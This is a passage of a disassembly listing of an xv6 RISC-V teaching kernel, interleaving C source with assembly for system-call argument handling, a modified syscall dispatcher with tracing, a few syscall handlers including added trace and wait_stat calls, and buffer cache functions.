80002f70: e04a sd s2,0(sp) 80002f72: 1000 addi s0,sp,32 80002f74: 84aa mv s1,a0 80002f76: 892e mv s2,a1 struct proc *p = myproc(); 80002f78: fffff097 auipc ra,0xfffff 80002f7c: a1e080e7 jalr -1506(ra) # 80001996 <myproc> if(addr >= p->sz || addr+sizeof(uint64) > p->sz) 80002f80: 753c ld a5,104(a0) 80002f82: 02f4f863 bgeu s1,a5,80002fb2 <fetchaddr+0x4a> 80002f86: 00848713 addi a4,s1,8 80002f8a: 02e7e663 bltu a5,a4,80002fb6 <fetchaddr+0x4e> if(copyin(p->pagetable, (char *)ip, addr, sizeof(*ip)) != 0) 80002f8e: 46a1 li a3,8 80002f90: 8626 mv a2,s1 80002f92: 85ca mv a1,s2 80002f94: 7928 ld a0,112(a0) 80002f96: ffffe097 auipc ra,0xffffe 80002f9a: 734080e7 jalr 1844(ra) # 800016ca <copyin> 80002f9e: 00a03533 snez a0,a0 80002fa2: 40a00533 neg a0,a0 } 80002fa6: 60e2 ld ra,24(sp) 80002fa8: 6442 ld s0,16(sp) 80002faa: 64a2 ld s1,8(sp) 80002fac: 6902 ld s2,0(sp) 80002fae: 6105 addi sp,sp,32 80002fb0: 8082 ret return -1; 80002fb2: 557d li a0,-1 80002fb4: bfcd j 80002fa6 <fetchaddr+0x3e> 80002fb6: 557d li a0,-1 80002fb8: b7fd j 80002fa6 <fetchaddr+0x3e> 0000000080002fba <fetchstr>: { 80002fba: 7179 addi sp,sp,-48 80002fbc: f406 sd ra,40(sp) 80002fbe: f022 sd s0,32(sp) 80002fc0: ec26 sd s1,24(sp) 80002fc2: e84a sd s2,16(sp) 80002fc4: e44e sd s3,8(sp) 80002fc6: 1800 addi s0,sp,48 80002fc8: 892a mv s2,a0 80002fca: 84ae mv s1,a1 80002fcc: 89b2 mv s3,a2 struct proc *p = myproc(); 80002fce: fffff097 auipc ra,0xfffff 80002fd2: 9c8080e7 jalr -1592(ra) # 80001996 <myproc> int err = copyinstr(p->pagetable, buf, addr, max); 80002fd6: 86ce mv a3,s3 80002fd8: 864a mv a2,s2 80002fda: 85a6 mv a1,s1 80002fdc: 7928 ld a0,112(a0) 80002fde: ffffe097 auipc ra,0xffffe 80002fe2: 77a080e7 jalr 1914(ra) # 80001758 <copyinstr> if(err < 0) 80002fe6: 00054763 bltz a0,80002ff4 <fetchstr+0x3a> return strlen(buf); 80002fea: 8526 mv a0,s1 80002fec: ffffe097 auipc ra,0xffffe 80002ff0: e56080e7 jalr -426(ra) # 80000e42 <strlen> } 80002ff4: 70a2 ld ra,40(sp) 80002ff6: 7402 ld s0,32(sp) 80002ff8: 64e2 ld s1,24(sp) 80002ffa: 6942 ld s2,16(sp) 80002ffc: 69a2 ld s3,8(sp) 80002ffe: 6145 addi sp,sp,48 80003000: 8082 ret 0000000080003002 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80003002: 1101 addi sp,sp,-32 80003004: ec06 sd ra,24(sp) 80003006: e822 sd s0,16(sp) 80003008: e426 sd s1,8(sp) 8000300a: 1000 addi s0,sp,32 8000300c: 84ae mv s1,a1 *ip = argraw(n); 8000300e: 00000097 auipc ra,0x0 80003012: ef2080e7 jalr -270(ra) # 80002f00 <argraw> 80003016: c088 sw a0,0(s1) return 0; } 80003018: 4501 li a0,0 8000301a: 60e2 ld ra,24(sp) 8000301c: 6442 ld s0,16(sp) 8000301e: 64a2 ld s1,8(sp) 80003020: 6105 addi sp,sp,32 80003022: 8082 ret 0000000080003024 <argaddr>: // Retrieve an argument as a pointer. // Doesn't check for legality, since // copyin/copyout will do that. int argaddr(int n, uint64 *ip) { 80003024: 1101 addi sp,sp,-32 80003026: ec06 sd ra,24(sp) 80003028: e822 sd s0,16(sp) 8000302a: e426 sd s1,8(sp) 8000302c: 1000 addi s0,sp,32 8000302e: 84ae mv s1,a1 *ip = argraw(n); 80003030: 00000097 auipc ra,0x0 80003034: ed0080e7 jalr -304(ra) # 80002f00 <argraw> 80003038: e088 sd a0,0(s1) return 0; } 8000303a: 4501 li a0,0 8000303c: 60e2 ld ra,24(sp) 8000303e: 6442 ld s0,16(sp) 80003040: 64a2 ld s1,8(sp) 80003042: 6105 addi sp,sp,32 80003044: 8082 ret 0000000080003046 <argstr>: // Fetch the nth word-sized system call argument as a null-terminated string. // Copies into buf, at most max. // Returns string length if OK (including nul), -1 if error. int argstr(int n, char *buf, int max) { 80003046: 1101 addi sp,sp,-32 80003048: ec06 sd ra,24(sp) 8000304a: e822 sd s0,16(sp) 8000304c: e426 sd s1,8(sp) 8000304e: e04a sd s2,0(sp) 80003050: 1000 addi s0,sp,32 80003052: 84ae mv s1,a1 80003054: 8932 mv s2,a2 *ip = argraw(n); 80003056: 00000097 auipc ra,0x0 8000305a: eaa080e7 jalr -342(ra) # 80002f00 <argraw> uint64 addr; if(argaddr(n, &addr) < 0) return -1; return fetchstr(addr, buf, max); 8000305e: 864a mv a2,s2 80003060: 85a6 mv a1,s1 80003062: 00000097 auipc ra,0x0 80003066: f58080e7 jalr -168(ra) # 80002fba <fetchstr> } 8000306a: 60e2 ld ra,24(sp) 8000306c: 6442 ld s0,16(sp) 8000306e: 64a2 ld s1,8(sp) 80003070: 6902 ld s2,0(sp) 80003072: 6105 addi sp,sp,32 80003074: 8082 ret 0000000080003076 <syscall>: [SYS_wait_stat] "wait_stat" }; // modified void syscall(void) { 80003076: 7139 addi sp,sp,-64 80003078: fc06 sd ra,56(sp) 8000307a: f822 sd s0,48(sp) 8000307c: f426 sd s1,40(sp) 8000307e: f04a sd s2,32(sp) 80003080: ec4e sd s3,24(sp) 80003082: e852 sd s4,16(sp) 80003084: e456 sd s5,8(sp) 80003086: 0080 addi s0,sp,64 int num; struct proc *p = myproc(); 80003088: fffff097 auipc ra,0xfffff 8000308c: 90e080e7 jalr -1778(ra) # 80001996 <myproc> 80003090: 84aa mv s1,a0 num = p->trapframe->a7; 80003092: 07853903 ld s2,120(a0) 80003096: 0a892983 lw s3,168(s2) if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 8000309a: fff9871b addiw a4,s3,-1 8000309e: 47d9 li a5,22 800030a0: 08e7ed63 bltu a5,a4,8000313a <syscall+0xc4> 800030a4: 00399713 slli a4,s3,0x3 800030a8: 00005797 auipc a5,0x5 800030ac: 58878793 addi a5,a5,1416 # 80008630 <syscalls> 800030b0: 97ba add a5,a5,a4 800030b2: 639c ld a5,0(a5) 800030b4: c3d9 beqz a5,8000313a <syscall+0xc4> int arguments =p->trapframe->a0; 800030b6: 07093a83 ld s5,112(s2) p->trapframe->a0 = syscalls[num](); 800030ba: 9782 jalr a5 800030bc: 06a93823 sd a0,112(s2) if ((p->maskid) > 0 ) { //trace flag is app 800030c0: 58dc lw a5,52(s1) 800030c2: 08f05b63 blez a5,80003158 <syscall+0xe2> if (((1<<num) & (p->maskid)) == (1<<num)){ //current systemcall need tracing 800030c6: 4705 li a4,1 800030c8: 0137173b sllw a4,a4,s3 800030cc: 8ff9 and a5,a5,a4 800030ce: 08f71563 bne a4,a5,80003158 <syscall+0xe2> if ((num == SYS_fork) || (num == SYS_kill) || (num == SYS_sbrk)){ //print arguments 800030d2: 47b1 li a5,12 800030d4: 0137e963 bltu a5,s3,800030e6 <syscall+0x70> 800030d8: 6785 lui a5,0x1 800030da: 04278793 addi a5,a5,66 # 1042 <_entry-0x7fffefbe> 800030de: 0137d7b3 srl a5,a5,s3 800030e2: 8b85 andi a5,a5,1 800030e4: e78d bnez a5,8000310e <syscall+0x98> printf("%d: syscall %s %d-> %d\n",p->pid,syscallsnames[num], arguments ,p->trapframe->a0); } else{ //without arguments printf("%d: syscall %s -> %d\n",p->pid,syscallsnames[num], p->trapframe->a0 ); 800030e6: 7cb8 ld a4,120(s1) 800030e8: 098e slli s3,s3,0x3 800030ea: 00006797 auipc a5,0x6 800030ee: 99e78793 addi a5,a5,-1634 # 80008a88 <syscallsnames> 800030f2: 99be add s3,s3,a5 800030f4: 7b34 ld a3,112(a4) 800030f6: 0009b603 ld a2,0(s3) 800030fa: 588c lw a1,48(s1) 800030fc: 00005517 auipc a0,0x5 80003100: 42c50513 addi a0,a0,1068 # 80008528 <states.0+0x168> 80003104: ffffd097 auipc ra,0xffffd 80003108: 470080e7 jalr 1136(ra) # 80000574 <printf> 8000310c: a0b1 j 80003158 <syscall+0xe2> printf("%d: syscall %s %d-> %d\n",p->pid,syscallsnames[num], arguments ,p->trapframe->a0); 8000310e: 7cb8 ld a4,120(s1) 80003110: 098e slli s3,s3,0x3 80003112: 00006797 auipc a5,0x6 80003116: 97678793 addi a5,a5,-1674 # 80008a88 <syscallsnames> 8000311a: 99be add s3,s3,a5 8000311c: 7b38 ld a4,112(a4) 8000311e: 000a869b sext.w a3,s5 80003122: 0009b603 ld a2,0(s3) 80003126: 588c lw a1,48(s1) 80003128: 00005517 auipc a0,0x5 8000312c: 3e850513 addi a0,a0,1000 # 80008510 <states.0+0x150> 80003130: ffffd097 auipc ra,0xffffd 80003134: 444080e7 jalr 1092(ra) # 80000574 <printf> 80003138: a005 j 80003158 <syscall+0xe2> } } } } else { printf("%d %s: unknown sys call %d\n",p->pid, p->name, num); 8000313a: 86ce mv a3,s3 8000313c: 17848613 addi a2,s1,376 80003140: 588c lw a1,48(s1) 80003142: 00005517 auipc a0,0x5 80003146: 3fe50513 addi a0,a0,1022 # 80008540 <states.0+0x180> 8000314a: ffffd097 auipc ra,0xffffd 8000314e: 42a080e7 jalr 1066(ra) # 80000574 <printf> p->trapframe->a0 = -1; 80003152: 7cbc ld a5,120(s1) 80003154: 577d li a4,-1 80003156: fbb8 sd a4,112(a5) } } 80003158: 70e2 ld ra,56(sp) 8000315a: 7442 ld s0,48(sp) 8000315c: 74a2 ld s1,40(sp) 8000315e: 7902 ld s2,32(sp) 80003160: 69e2 ld s3,24(sp) 80003162: 6a42 ld s4,16(sp) 80003164: 6aa2 ld s5,8(sp) 80003166: 6121 addi sp,sp,64 80003168: 8082 ret 000000008000316a <sys_exit>: #include "spinlock.h" #include "proc.h" uint64 sys_exit(void) { 8000316a: 1101 addi sp,sp,-32 8000316c: ec06 sd ra,24(sp) 8000316e: e822 sd s0,16(sp) 80003170: 1000 addi s0,sp,32 int n; if(argint(0, &n) < 0) 80003172: fec40593 addi a1,s0,-20 80003176: 4501 li a0,0 80003178: 00000097 auipc ra,0x0 8000317c: e8a080e7 jalr -374(ra) # 80003002 <argint> return -1; 80003180: 57fd li a5,-1 if(argint(0, &n) < 0) 80003182: 00054963 bltz a0,80003194 <sys_exit+0x2a> exit(n); 80003186: fec42503 lw a0,-20(s0) 8000318a: fffff097 auipc ra,0xfffff 8000318e: 2d0080e7 jalr 720(ra) # 8000245a <exit> return 0; // not reached 80003192: 4781 li a5,0 } 80003194: 853e mv a0,a5 80003196: 60e2 ld ra,24(sp) 80003198: 6442 ld s0,16(sp) 8000319a: 6105 addi sp,sp,32 8000319c: 8082 ret 000000008000319e <sys_getpid>: uint64 sys_getpid(void) { 8000319e: 1141 addi sp,sp,-16 800031a0: e406 sd ra,8(sp) 800031a2: e022 sd s0,0(sp) 800031a4: 0800 addi s0,sp,16 return myproc()->pid; 800031a6: ffffe097 auipc ra,0xffffe 800031aa: 7f0080e7 jalr 2032(ra) # 80001996 <myproc> } 800031ae: 5908 lw a0,48(a0) 800031b0: 60a2 ld ra,8(sp) 800031b2: 6402 ld s0,0(sp) 800031b4: 0141 addi sp,sp,16 800031b6: 8082 ret 00000000800031b8 <sys_fork>: uint64 sys_fork(void) { 800031b8: 1141 addi sp,sp,-16 800031ba: e406 sd ra,8(sp) 800031bc: e022 sd s0,0(sp) 800031be: 0800 addi s0,sp,16 return fork(); 800031c0: fffff097 auipc ra,0xfffff 800031c4: c08080e7 jalr -1016(ra) # 80001dc8 <fork> } 800031c8: 60a2 ld ra,8(sp) 800031ca: 6402 ld s0,0(sp) 800031cc: 0141 addi sp,sp,16 800031ce: 8082 ret 00000000800031d0 <sys_wait>: uint64 sys_wait(void) { 800031d0: 1101 addi sp,sp,-32 800031d2: ec06 sd ra,24(sp) 800031d4: e822 sd s0,16(sp) 800031d6: 1000 addi s0,sp,32 uint64 p; if(argaddr(0, &p) < 0) 800031d8: fe840593 addi a1,s0,-24 800031dc: 4501 li a0,0 800031de: 00000097 auipc ra,0x0 800031e2: e46080e7 jalr -442(ra) # 80003024 <argaddr> 800031e6: 87aa mv a5,a0 return -1; 800031e8: 557d li a0,-1 if(argaddr(0, &p) < 0) 800031ea: 0007c863 bltz a5,800031fa <sys_wait+0x2a> return wait(p); 800031ee: fe843503 ld a0,-24(s0) 800031f2: fffff097 auipc ra,0xfffff 800031f6: 038080e7 jalr 56(ra) # 8000222a <wait> } 800031fa: 60e2 ld ra,24(sp) 800031fc: 6442 ld s0,16(sp) 800031fe: 6105 addi sp,sp,32 80003200: 8082 ret 0000000080003202 <sys_sbrk>: uint64 sys_sbrk(void) { 80003202: 7179 addi sp,sp,-48 80003204: f406 sd ra,40(sp) 80003206: f022 sd s0,32(sp) 80003208: ec26 sd s1,24(sp) 8000320a: 1800 addi s0,sp,48 int addr; int n; if(argint(0, &n) < 0) 8000320c: fdc40593 addi a1,s0,-36 80003210: 4501 li a0,0 80003212: 00000097 auipc ra,0x0 80003216: df0080e7 jalr -528(ra) # 80003002 <argint> return -1; 8000321a: 54fd li s1,-1 if(argint(0, &n) < 0) 8000321c: 00054f63 bltz a0,8000323a <sys_sbrk+0x38> addr = myproc()->sz; 80003220: ffffe097 auipc ra,0xffffe 80003224: 776080e7 jalr 1910(ra) # 80001996 <myproc> 80003228: 5524 lw s1,104(a0) if(growproc(n) < 0) 8000322a: fdc42503 lw a0,-36(s0) 8000322e: fffff097 auipc ra,0xfffff 80003232: b26080e7 jalr -1242(ra) # 80001d54 <growproc> 80003236: 00054863 bltz a0,80003246 <sys_sbrk+0x44> return -1; return addr; } 8000323a: 8526 mv a0,s1 8000323c: 70a2 ld ra,40(sp) 8000323e: 7402 ld s0,32(sp) 80003240: 64e2 ld s1,24(sp) 80003242: 6145 addi sp,sp,48 80003244: 8082 ret return -1; 80003246: 54fd li s1,-1 80003248: bfcd j 8000323a <sys_sbrk+0x38> 000000008000324a <sys_sleep>: uint64 sys_sleep(void) { 8000324a: 7139 addi sp,sp,-64 8000324c: fc06 sd ra,56(sp) 8000324e: f822 sd s0,48(sp) 80003250: f426 sd s1,40(sp) 80003252: f04a sd s2,32(sp) 80003254: ec4e sd s3,24(sp) 80003256: 0080 addi s0,sp,64 int n; uint ticks0; if(argint(0, &n) < 0) 80003258: fcc40593 addi a1,s0,-52 8000325c: 4501 li a0,0 8000325e: 00000097 auipc ra,0x0 80003262: da4080e7 jalr -604(ra) # 80003002 <argint> return -1; 80003266: 57fd li a5,-1 if(argint(0, &n) < 0) 80003268: 06054563 bltz a0,800032d2 <sys_sleep+0x88> acquire(&tickslock); 8000326c: 00014517 auipc a0,0x14 80003270: 67c50513 addi a0,a0,1660 # 800178e8 <tickslock> 80003274: ffffe097 auipc ra,0xffffe 80003278: 94e080e7 jalr -1714(ra) # 80000bc2 <acquire> ticks0 = ticks; 8000327c: 00006917 auipc s2,0x6 80003280: db492903 lw s2,-588(s2) # 80009030 <ticks> while(ticks - ticks0 < n){ 80003284: fcc42783 lw a5,-52(s0) 80003288: cf85 beqz a5,800032c0 <sys_sleep+0x76> if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 8000328a: 00014997 auipc s3,0x14 8000328e: 65e98993 addi s3,s3,1630 # 800178e8 <tickslock> 80003292: 00006497 auipc s1,0x6 80003296: d9e48493 addi s1,s1,-610 # 80009030 <ticks> if(myproc()->killed){ 8000329a: ffffe097 auipc ra,0xffffe 8000329e: 6fc080e7 jalr 1788(ra) # 80001996 <myproc> 800032a2: 551c lw a5,40(a0) 800032a4: ef9d bnez a5,800032e2 <sys_sleep+0x98> sleep(&ticks, &tickslock); 800032a6: 85ce mv a1,s3 800032a8: 8526 mv a0,s1 800032aa: fffff097 auipc ra,0xfffff 800032ae: f1c080e7 jalr -228(ra) # 800021c6 <sleep> while(ticks - ticks0 < n){ 800032b2: 409c lw a5,0(s1) 800032b4: 412787bb subw a5,a5,s2 800032b8: fcc42703 lw a4,-52(s0) 800032bc: fce7efe3 bltu a5,a4,8000329a <sys_sleep+0x50> } release(&tickslock); 800032c0: 00014517 auipc a0,0x14 800032c4: 62850513 addi a0,a0,1576 # 800178e8 <tickslock> 800032c8: ffffe097 auipc ra,0xffffe 800032cc: 9ae080e7 jalr -1618(ra) # 80000c76 <release> return 0; 800032d0: 4781 li a5,0 } 800032d2: 853e mv a0,a5 800032d4: 70e2 ld ra,56(sp) 800032d6: 7442 ld s0,48(sp) 800032d8: 74a2 ld s1,40(sp) 800032da: 7902 ld s2,32(sp) 800032dc: 69e2 ld s3,24(sp) 800032de: 6121 addi sp,sp,64 800032e0: 8082 ret release(&tickslock); 800032e2: 00014517 auipc a0,0x14 800032e6: 60650513 addi a0,a0,1542 # 800178e8 <tickslock> 800032ea: ffffe097 auipc ra,0xffffe 800032ee: 98c080e7 jalr -1652(ra) # 80000c76 <release> return -1; 800032f2: 57fd li a5,-1 800032f4: bff9 j 800032d2 <sys_sleep+0x88> 00000000800032f6 <sys_kill>: uint64 sys_kill(void) { 800032f6: 1101 addi sp,sp,-32 800032f8: ec06 sd ra,24(sp) 800032fa: e822 sd s0,16(sp) 800032fc: 1000 addi s0,sp,32 int pid; if(argint(0, &pid) < 0) 800032fe: fec40593 addi a1,s0,-20 80003302: 4501 li a0,0 80003304: 00000097 auipc ra,0x0 80003308: cfe080e7 jalr -770(ra) # 80003002 <argint> 8000330c: 87aa mv a5,a0 return -1; 8000330e: 557d li a0,-1 if(argint(0, &pid) < 0) 80003310: 0007c863 bltz a5,80003320 <sys_kill+0x2a> return kill(pid); 80003314: fec42503 lw a0,-20(s0) 80003318: fffff097 auipc ra,0xfffff 8000331c: 224080e7 jalr 548(ra) # 8000253c <kill> } 80003320: 60e2 ld ra,24(sp) 80003322: 6442 ld s0,16(sp) 80003324: 6105 addi sp,sp,32 80003326: 8082 ret 0000000080003328 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. uint64 sys_uptime(void) { 80003328: 1101 addi sp,sp,-32 8000332a: ec06 sd ra,24(sp) 8000332c: e822 sd s0,16(sp) 8000332e: e426 sd s1,8(sp) 80003330: 1000 addi s0,sp,32 uint xticks; acquire(&tickslock); 80003332: 00014517 auipc a0,0x14 80003336: 5b650513 addi a0,a0,1462 # 800178e8 <tickslock> 8000333a: ffffe097 auipc ra,0xffffe 8000333e: 888080e7 jalr -1912(ra) # 80000bc2 <acquire> xticks = ticks; 80003342: 00006497 auipc s1,0x6 80003346: cee4a483 lw s1,-786(s1) # 80009030 <ticks> release(&tickslock); 8000334a: 00014517 auipc a0,0x14 8000334e: 59e50513 addi a0,a0,1438 # 800178e8 <tickslock> 80003352: ffffe097 auipc ra,0xffffe 80003356: 924080e7 jalr -1756(ra) # 80000c76 <release> return xticks; } 8000335a: 02049513 slli a0,s1,0x20 8000335e: 9101 srli a0,a0,0x20 80003360: 60e2 ld ra,24(sp) 80003362: 6442 ld s0,16(sp) 80003364: 64a2 ld s1,8(sp) 80003366: 6105 addi sp,sp,32 80003368: 8082 ret 000000008000336a <sys_trace>: // modified uint64 sys_trace(void) { 8000336a: 1101 addi sp,sp,-32 8000336c: ec06 sd ra,24(sp) 8000336e: e822 sd s0,16(sp) 80003370: 1000 addi s0,sp,32 int maskid, pid; if (argint(0, &maskid) < 0) 80003372: fec40593 addi a1,s0,-20 80003376: 4501 li a0,0 80003378: 00000097 auipc ra,0x0 8000337c: c8a080e7 jalr -886(ra) # 80003002 <argint> return -1; 80003380: 57fd li a5,-1 if (argint(0, &maskid) < 0) 80003382: 02054563 bltz a0,800033ac <sys_trace+0x42> if (argint(1, &pid) < 0) 80003386: fe840593 addi a1,s0,-24 8000338a: 4505 li a0,1 8000338c: 00000097 auipc ra,0x0 80003390: c76080e7 jalr -906(ra) # 80003002 <argint> return -1; 80003394: 57fd li a5,-1 if (argint(1, &pid) < 0) 80003396: 00054b63 bltz a0,800033ac <sys_trace+0x42> trace(maskid,pid); 8000339a: fe842583 lw a1,-24(s0) 8000339e: fec42503 lw a0,-20(s0) 800033a2: fffff097 auipc ra,0xfffff 800033a6: 394080e7 jalr 916(ra) # 80002736 <trace> return 0; 800033aa: 4781 li a5,0 } 800033ac: 853e mv a0,a5 800033ae: 60e2 ld ra,24(sp) 800033b0: 6442 ld s0,16(sp) 800033b2: 6105 addi sp,sp,32 800033b4: 8082 ret 00000000800033b6 <sys_wait_stat>: // modified uint64 sys_wait_stat(void) { 800033b6: 1101 addi sp,sp,-32 800033b8: ec06 sd ra,24(sp) 800033ba: e822 sd s0,16(sp) 800033bc: 1000 addi s0,sp,32 int* status; struct perf* performance; if(argint(0, (void*)&status) < 0){ 800033be: fe840593 addi a1,s0,-24 800033c2: 4501 li a0,0 800033c4: 00000097 auipc ra,0x0 800033c8: c3e080e7 jalr -962(ra) # 80003002 <argint> 800033cc: 02054763 bltz a0,800033fa <sys_wait_stat+0x44> printf("\nIts got to sysproc.c line 3"); return -1; } if(argaddr(1, (void*)&performance) < 0){ 800033d0: fe040593 addi a1,s0,-32 800033d4: 4505 li a0,1 800033d6: 00000097 auipc ra,0x0 800033da: c4e080e7 jalr -946(ra) # 80003024 <argaddr> 800033de: 02054863 bltz a0,8000340e <sys_wait_stat+0x58> printf("\nIts got to sysproc.c line 4"); return -1; } return wait_stat(status,performance); 800033e2: fe043583 ld a1,-32(s0) 800033e6: fe843503 ld a0,-24(s0) 800033ea: fffff097 auipc ra,0xfffff 800033ee: 3b6080e7 jalr 950(ra) # 800027a0 <wait_stat> 800033f2: 60e2 ld ra,24(sp) 800033f4: 6442 ld s0,16(sp) 800033f6: 6105 addi sp,sp,32 800033f8: 8082 ret printf("\nIts got to sysproc.c line 3"); 800033fa: 00005517 auipc a0,0x5 800033fe: 2f650513 addi a0,a0,758 # 800086f0 <syscalls+0xc0> 80003402: ffffd097 auipc ra,0xffffd 80003406: 172080e7 jalr 370(ra) # 80000574 <printf> return -1; 8000340a: 557d li a0,-1 8000340c: b7dd j 800033f2 <sys_wait_stat+0x3c> printf("\nIts got to sysproc.c line 4"); 8000340e: 00005517 auipc a0,0x5 80003412: 30250513 addi a0,a0,770 # 80008710 <syscalls+0xe0> 80003416: ffffd097 auipc ra,0xffffd 8000341a: 15e080e7 jalr 350(ra) # 80000574 <printf> return -1; 8000341e: 557d li a0,-1 80003420: bfc9 j 800033f2 <sys_wait_stat+0x3c> 0000000080003422 <binit>: struct buf head; } bcache; void binit(void) { 80003422: 7179 addi sp,sp,-48 80003424: f406 sd ra,40(sp) 80003426: f022 sd s0,32(sp) 80003428: ec26 sd s1,24(sp) 8000342a: e84a sd s2,16(sp) 8000342c: e44e sd s3,8(sp) 8000342e: e052 sd s4,0(sp) 80003430: 1800 addi s0,sp,48 struct buf *b; initlock(&bcache.lock, "bcache"); 80003432: 00005597 auipc a1,0x5 80003436: 2fe58593 addi a1,a1,766 # 80008730 <syscalls+0x100> 8000343a: 00014517 auipc a0,0x14 8000343e: 4c650513 addi a0,a0,1222 # 80017900 <bcache> 80003442: ffffd097 auipc ra,0xffffd 80003446: 6f0080e7 jalr 1776(ra) # 80000b32 <initlock> // Create linked list of buffers bcache.head.prev = &bcache.head; 8000344a: 0001c797 auipc a5,0x1c 8000344e: 4b678793 addi a5,a5,1206 # 8001f900 <bcache+0x8000> 80003452: 0001c717 auipc a4,0x1c 80003456: 71670713 addi a4,a4,1814 # 8001fb68 <bcache+0x8268> 8000345a: 2ae7b823 sd a4,688(a5) bcache.head.next = &bcache.head; 8000345e: 2ae7bc23 sd a4,696(a5) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80003462: 00014497 auipc s1,0x14 80003466: 4b648493 addi s1,s1,1206 # 80017918 <bcache+0x18> b->next = bcache.head.next; 8000346a: 893e mv s2,a5 b->prev = &bcache.head; 8000346c: 89ba mv s3,a4 initsleeplock(&b->lock, "buffer"); 8000346e: 00005a17 auipc s4,0x5 80003472: 2caa0a13 addi s4,s4,714 # 80008738 <syscalls+0x108> b->next = bcache.head.next; 80003476: 2b893783 ld a5,696(s2) 8000347a: e8bc sd a5,80(s1) b->prev = &bcache.head; 8000347c: 0534b423 sd s3,72(s1) initsleeplock(&b->lock, "buffer"); 80003480: 85d2 mv a1,s4 80003482: 01048513 addi a0,s1,16 80003486: 00001097 auipc ra,0x1 8000348a: 4c2080e7 jalr 1218(ra) # 80004948 <initsleeplock> bcache.head.next->prev = b; 8000348e: 2b893783 ld a5,696(s2) 80003492: e7a4 sd s1,72(a5) bcache.head.next = b; 80003494: 2a993c23 sd s1,696(s2) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80003498: 45848493 addi s1,s1,1112 8000349c: fd349de3 bne s1,s3,80003476 <binit+0x54> } } 800034a0: 70a2 ld ra,40(sp) 800034a2: 7402 ld s0,32(sp) 800034a4: 64e2 ld s1,24(sp) 800034a6: 6942 ld s2,16(sp) 800034a8: 69a2 ld s3,8(sp) 800034aa: 6a02 ld s4,0(sp) 800034ac: 6145 addi sp,sp,48 800034ae: 8082 ret 00000000800034b0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 800034b0: 7179 addi sp,sp,-48 800034b2: f406 sd ra,40(sp) 800034b4: f022 sd s0,32(sp) 800034b6: ec26 sd s1,24(sp) 800034b8: e84a sd s2,16(sp) 800034ba: e44e sd s3,8(sp) 800034bc: 1800 addi s0,sp,48 800034be: 892a mv s2,a0 800034c0: 89ae mv s3,a1 acquire(&bcache.lock); 800034c2: 00014517 auipc a0,0x14 800034c6: 43e50513 addi a0,a0,1086 # 80017900 <bcache> 800034ca: ffffd097 auipc ra,0xffffd 800034ce: 6f8080e7 jalr 1784(ra) # 80000bc2 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 800034d2: 0001c497 auipc s1,0x1c 800034d6: 6e64b483 ld s1,1766(s1) # 8001fbb8 <bcache+0x82b8> 800034da: 0001c797 auipc a5,0x1c 800034de: 68e78793 addi a5,a5,1678 # 8001fb68 <bcache+0x8268> 800034e2: 02f48f63 beq s1,a5,80003520 <bread+0x70> 800034e6: 873e mv a4,a5 800034e8: a021 j 800034f0 <bread+0x40> 800034ea: 68a4 ld s1,80(s1) 800034ec: 02e48a63 beq s1,a4,80003520 <bread+0x70> if(b->dev == dev && b->blockno == blockno){ 800034f0: 449c lw a5,8(s1) 800034f2: ff279ce3 bne a5,s2,800034ea <bread+0x3a> 800034f6: 44dc lw a5,12(s1) 800034f8: ff3799e3 bne a5,s3,800034ea <bread+0x3a> b->refcnt++; 800034fc: 40bc lw a5,64(s1) 800034fe: 2785 addiw a5,a5,1 80003500: c0bc sw a5,64(s1) release(&bcache.lock); 80003502: 00014517 auipc a0,0x14 80003506: 3fe50513 addi a0,a0,1022 # 80017900 <bcache> 8000350a: ffffd097 auipc ra,0xffffd 8000350e: 76c080e7 jalr 1900(ra) # 80000c76 <release> acquiresleep(&b->lock); 80003512: 01048513 addi a0,s1,16 80003516: 00001097 auipc ra,0x1 8000351a: 46c080e7 jalr 1132(ra) # 80004982 <acquiresleep> return b; 8000351e: a8b9 j 8000357c <bread+0xcc> for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80003520: 0001c497 auipc s1,0x1c 80003524: 6904b483 ld s1,1680(s1) # 8001fbb0 <bcache+0x82b0> 80003528: 0001c797 auipc a5,0x1c 8000352c: 64078793 addi a5,a5,1600 # 8001fb68 <bcache+0x8268> 80003530: 00f48863 beq s1,a5,80003540 <bread+0x90> 80003534: 873e mv a4,a5 if(b->refcnt == 0) { 80003536: 40bc lw a5,64(s1) 80003538: cf81 beqz a5,80003550 <bread+0xa0> for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 8000353a: 64a4 ld s1,72(s1) 8000353c: fee49de3 bne s1,a4,80003536 <bread+0x86> panic("bget: no buffers"); 80003540: 00005517 auipc a0,0x5 80003544: 20050513 addi a0,a0,512 # 80008740 <syscalls+0x110> 80003548: ffffd097 auipc ra,0xffffd 8000354c: fe2080e7 jalr -30(ra) # 8000052a <panic> b->dev = dev; 80003550: 0124a423 sw s2,8(s1) b->blockno = blockno; 80003554: 0134a623 sw s3,12(s1) b->valid = 0; 80003558: 0004a023 sw zero,0(s1) b->refcnt = 1; 8000355c: 4785 li a5,1 8000355e: c0bc sw a5,64(s1) release(&bcache.lock); 80003560: 00014517 auipc a0,0x14 80003564: 3a050513 addi a0,a0,928 # 80017900 <bcache> 80003568: ffffd097 auipc ra,0xffffd 8000356c: 70e080e7 jalr 1806(ra) # 80000c76 <release> acquiresleep(&b->lock); 80003570: 01048513 addi a0,s1,16 80003574: 00001097 auipc ra,0x1 80003578: 40e080e7 jalr 1038(ra) # 80004982 <acquiresleep> struct buf *b; b = bget(dev, blockno); if(!b->valid) { 8000357c: 409c lw a5,0(s1) 8000357e: cb89 beqz a5,80003590 <bread+0xe0> virtio_disk_rw(b, 0); b->valid = 1; } return b; } 80003580: 8526 mv a0,s1 80003582: 70a2 ld ra,40(sp) 80003584: 7402 ld s0,32(sp) 80003586: 64e2 ld s1,24(sp) 80003588: 6942 ld s2,16(sp) 8000358a: 69a2 ld s3,8(sp) 8000358c: 6145 addi sp,sp,48 8000358e: 8082 ret virtio_disk_rw(b, 0); 80003590: 4581 li a1,0 80003592: 8526 mv a0,s1 80003594: 00003097 auipc ra,0x3 80003598: f22080e7 jalr -222(ra) # 800064b6 <virtio_disk_rw> b->valid = 1; 8000359c: 4785 li a5,1 